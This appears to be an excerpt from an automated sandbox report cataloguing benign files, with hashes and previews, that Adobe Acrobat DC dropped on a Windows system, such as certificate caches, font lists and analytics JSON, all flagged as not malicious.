SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklYFxkG+E/ltfllXlE/HT8kmjttNNX8RolJuRdxLlGB9lQRYwpDdt:kKBFOpEteT87VNMa8RdWBwRd
MD5:	2C583BFC319688D661902651FE043619
SHA1:	B567954D89935A28FFC31F37EB07072112F50423
SHA-256:	DE920E307DB0AC7EAE4C23FE3992F455880FC93EB22DE0443E3DCB23A88E3653
SHA-512:	3AD8F0FDDE196FABE3BAE09FA15B106752ED92CEDD1A6E87352A9B4981A1F87238AD427A6D2D9B875570458BE4A3B6406AD21B2A8BFAF47CEEF41D056E1E03C4
Malicious:	false
Preview:	p...... ...........G.c..(....................................................... ..........W.....r..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKdL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:FiDnLNkPlE99SNxAhUe/3
MD5:	2CB855D21E21CAF11D49B0B0B6ACA427
SHA1:	765CB111C7121FD6FA98F8EC452A706DE485068E
SHA-256:	A2378D0C52896E4E721EAE4AC23F94F2218C9167536EADF0CB457A5A9AE4A476
SHA-512:	47E84996DEFAA7EF0B8100CF3BB6A379929579C5C839D5E560E9C3B5D5F54C218D79DA9DC07C8AB5F169777F4CB2F688F5330FA591C0A09FD25877113FA46C84
Malicious:	false
Preview:	p...... ........^.vZ.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.780845061176182
Encrypted:	false
SSDEEP:	48:7Mx8KB0M0+Tb608YgoUrGK2/qFl2GL7ms6Y:7mFb608YFQ2/KVmsr
MD5:	48A07F7D7CC06F5B9CDB8860D2B579A8
SHA1:	AEA189E6A2EEFFBA18F830249F52B897FC24E971
SHA-256:	570FD8F3777535F1B481B957760A7C85968911936534A73EDE9561B1D238F93C
SHA-512:	CE9BC02D57246757B6B4B2518EBF2E1CC711197B9A2414EFBA2F379CD8081BC1E406A12DCD99B484D8EF3303EEC30C93707970478DC5F33D748AAEBBCECF61A9
Malicious:	false
Preview:	.... .c......= ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363243572095712
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJM3g98kUwPeUkwRe9:YvXKXampsT0UTbdiZGMbLUkee9
MD5:	632FA5A13C37BFF393C37D158FAE7004
SHA1:	A038366A784F5D058233A83CFE3B43AEA5D08AF5
SHA-256:	A117A8AEC840F55BA3DD4E6C92B63146EFE9BDD61E3E890F1F4DBE2B13DA8078
SHA-512:	4636317EBB4558D7D799CDBEE44091C8965F2F01996918AE04C8CC4B9DF25F0A8065235E3D15B1B40ED181152A15E2EC7943C247EA4A0B4A7B78261B5FD9F50A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2988190671688455
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJfBoTfXpnrPeUkwRe9:YvXKXampsT0UTbdiZGWTfXcUkee9
MD5:	0197EC0189D2991683065BD18B187208
SHA1:	F5F4FDCA3AEBFCA48688918B0927A59412F26FD8
SHA-256:	24D229BBABFDBD82F6531A0631AEF2620B40A1B16646A72EA64B432896006278
SHA-512:	3FBD08CB7B22CC5949A03856C474EA2877E01CEB8B080CF7802BF6A391FDA0E8A8067989356C3278F07FF45532FA0C0E053CB113C73DDD5657024017E3F1FA45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.27736738369485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJfBD2G6UpnrPeUkwRe9:YvXKXampsT0UTbdiZGR22cUkee9
MD5:	71065F0D408DA1364753ABB360B54E48
SHA1:	95ABB4C5DC36B9995BD76B777E2EB1D0B7F4AD86
SHA-256:	4A8CEF2209FA306DCC089B43252BDA27F0549806219AEAC878334A1F4A36CD10
SHA-512:	A794E702CCF13469483E4B40379932606EF6B395B2C68F3EBED5ABD79D418557B2FC31BFA24078335EAF20DEE549FF13E96FECF0222E6ECE2EC83905423753F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33751807797688
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJfPmwrPeUkwRe9:YvXKXampsT0UTbdiZGH56Ukee9
MD5:	0D8D51335B52A848D4C7B6F6BBE7E1A7
SHA1:	0009BA86A6BC718414ECFBBE18A95B39DC03CD6C
SHA-256:	9770F187DC9BC4B892B08BA977296CB6043675202D17330BD900DB26DD8A37DF
SHA-512:	6F03B339A88B2014FDE06473B2CAAD161FA916875B2D638ACB0565943987340142A203447CCE31D42A4E06651E22BE6C75F1F7BBCA8C21D398C6352542C18206
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6844890600027425
Encrypted:	false
SSDEEP:	24:Yv6XaIUXppLgE9cQx8LennAvzBvkn0RCmK8czOCCSJ4:Yv2wphgy6SAFv5Ah8cv/J4
MD5:	3D27985E3F0257CB359CD947EB21FE84
SHA1:	077FC72A6AC7D83B3A9737858D4BDDA61E93F552
SHA-256:	BE7D7223ED0B9F67D9DC04F54FBB3EC32BAB1E795D4B5DE2E90E5D785DA74FCD
SHA-512:	16A77166104B3250FA81958517202BD89B20A01FB48611254580104634D797FBC8C8612A1020B6B19AE6C7848A444FC2DF8CD43DEF115548EF8C8F1A66E62692
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277073429473591
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJf8dPeUkwRe9:YvXKXampsT0UTbdiZGU8Ukee9
MD5:	029548AF6AEE446EB3D1C9785E750D34
SHA1:	289FBCC0BAFDCD421EADAB10C14B85E404C783B6
SHA-256:	17177535A8DDA9BD4B4D8541C99227A5AE7AD85C348FC10D28758C5A55C3024A
SHA-512:	2B2C524ABA9D7E77E0BD500FD0715C06160CD235F91F7248FBA387A485D89BED6F6944B4C9E9BFDACA42723B8061D71A7CFF7ADBF20C208ECDE6F94F45F5E00C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.280526654697891
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJfQ1rPeUkwRe9:YvXKXampsT0UTbdiZGY16Ukee9
MD5:	54EAB4635EABB312154BA909D60D3A77
SHA1:	11722B725CE96A31019A2CBCF490760907C59BF8
SHA-256:	039198CEBBD7343571C3B2C352B97BCE935A613E501533A3074A88CE2F9CA554
SHA-512:	A973C558A323B262F2E58103F1D8D701D89CE9BCAD744CD1608F4C362BEF5A7789A3DA437A3D6BE8C3DF23699ACE500244D56160CA4E035DE427C3F3677A8F7C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290619389050035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJfFldPeUkwRe9:YvXKXampsT0UTbdiZGz8Ukee9
MD5:	337345043BB4781FF4786ABD787AF126
SHA1:	8D8356CA6E86BFDD0250D44F88FAD651279E7309
SHA-256:	D9EC31AD1F5F9CB8BC038BA0B6DB49335211CC2457E970CC01D06A3231B58C87
SHA-512:	B86F53AE7D8B31C1B8B23C1B3F182BFBC6D3427EB4593B8FBC22B0E109A05973E3FBE3A675E717D2E5C0081EDCDA6D4156649764A095050D94FDCFF97CA93F93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3031424406918735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJfzdPeUkwRe9:YvXKXampsT0UTbdiZGb8Ukee9
MD5:	095AF1578CC2778E256A57FE17B07EB9
SHA1:	989ED9EB3D189BE8FB8BAEF97797B5FE4C3A7C0A
SHA-256:	7AD229EF71CA861AEB5141A09B7C0D6A2DF31B07487A95C653C760F7F4133810
SHA-512:	FFF2F0FABE3EAEE64A31321FA0CE8A1575EDCD18DFE2E9A8AB11E0279F242DD8083C68AD8F182BE189026E9DAF73A2540D5F236CE3E821114DB76C45B1D68D54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283989748642907
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJfYdPeUkwRe9:YvXKXampsT0UTbdiZGg8Ukee9
MD5:	02A270FB816A5A429F7389D3744C90F1
SHA1:	B1BEF5A2C2CB01FE2B8268E330D1AE31FC12EBCF
SHA-256:	C86D16B6FBD3C657E690A0C7BE27F018362B0BD03AAC9E5B7D03206FFBFE65CF
SHA-512:	E9E9DC41912895E5A14148AA4466F97663EFA4098E55CEC7947401A693DF70EED5F2FB7E2FB23E5FA89F6F0C752D1731BC158DEE23E838B33DCA0476EACED7A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.270057241770937
Encrypted:	false
